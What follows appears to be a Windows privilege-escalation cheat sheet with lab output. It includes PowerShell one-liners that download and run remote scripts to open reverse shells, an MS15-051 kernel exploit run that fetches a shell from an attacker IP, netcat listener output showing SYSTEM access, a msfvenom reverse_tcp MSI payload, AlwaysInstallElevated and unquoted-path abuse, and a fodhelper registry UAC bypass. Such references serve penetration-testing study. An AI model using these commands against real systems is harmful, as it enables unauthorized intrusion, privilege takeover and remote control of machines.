Windows Privilege Escalation
Upgrade Shell
Fully interactive reverse shell on Windows
Server Side
Client Side
powershell IEX(IWR http://myip/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell myip myport
User Enumeration
Current User
Other Users
Hostname
Installed and Patch Levels
Patch Levels
Device Drivers & Kernel Modules
Using powershell >>>
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}
https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated
OS & Architecture & Driver
OS & Architecture
Driver Enumeration
6.3.9600 Kernel-Mode Drivers
C:\Users\kostas\Desktop>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
System Type: x64-based
https://github.com/leecybersec/windows-kernel-exploits/blob/master/MS15-051/MS15-051-KB3045171.zip
C:\inetpub\drupal-7.54>ms15-051x64.exe "powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"
ms15-051x64.exe "powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 1076 created.
==============================
$ sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.9] 53968
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\inetpub\drupal-7.54>whoami
whoami
nt authority\system
6.3.9600 rgnobj Integer O-flow
C:\Users\kostas\Desktop>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
System Type: x64-based
C:\Users\kostas\Desktop>41020.exe
41020.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
nt authority\system
6.1.7600 Ancillary Func Driver
https://www.exploit-db.com/exploits/40564
c:\windows\system32\inetsrv>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
System Type: X86-based PC
Vulnerability in Ancillary Function Driver
Windows MS11-046 kernel
c:\Windows\System32>systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoftr Windows Serverr 2008 Standard
OS Version: 6.0.6001 Service Pack 1 Build 6001
https://github.com/abatchy17/WindowsExploits/tree/master/MS11-046
Scheduled Tasks
schtasks /query /fo LIST /v | findstr /B /C:"Task To Run" /C:"Next Run Time" /C:"Last Run Time" /C:"Schedule Type" /C:"Start Time" /C:"Start Date"
Readable/Writable
Using accesschk
Using powershell
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
Processes and Services
Active network connection
Insecure File Permissions
Get Server and Path to running
Powershell >>>
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
Mask | Permissions |
---|---|
F | Full access |
M | Modify access |
RX | Read and execute access |
R | Read-only access |
W | Write-only access |
Overwrite file if have F or W permission.
Move file adduser.exe
Check StartMode for service
==> StartMode: Auto
Check rights for restart system
Restart system
Check Administrators group
Insecure Service Permissions
==> Service All Access
or Service Change Config
https://asfiyashaikh.medium.com/windows-privesc-weak-service-permission-b90f3bf4d44f
Leveraging Unquoted Paths
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
Binaries That AutoElevate
AlwaysInstallElevated
https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated
Enum commands
Exploit
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4567 -f msi > /root/Desktop/1.msi
Bypass UAC registry hijacking
Check Mandatory Level
Run cmd.exe as Administrator to get High Mandatory Level
C:\Windows\System32\fodhelper.exe
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Users\windows_10_1903_x64\Desktop\shell.exe" /f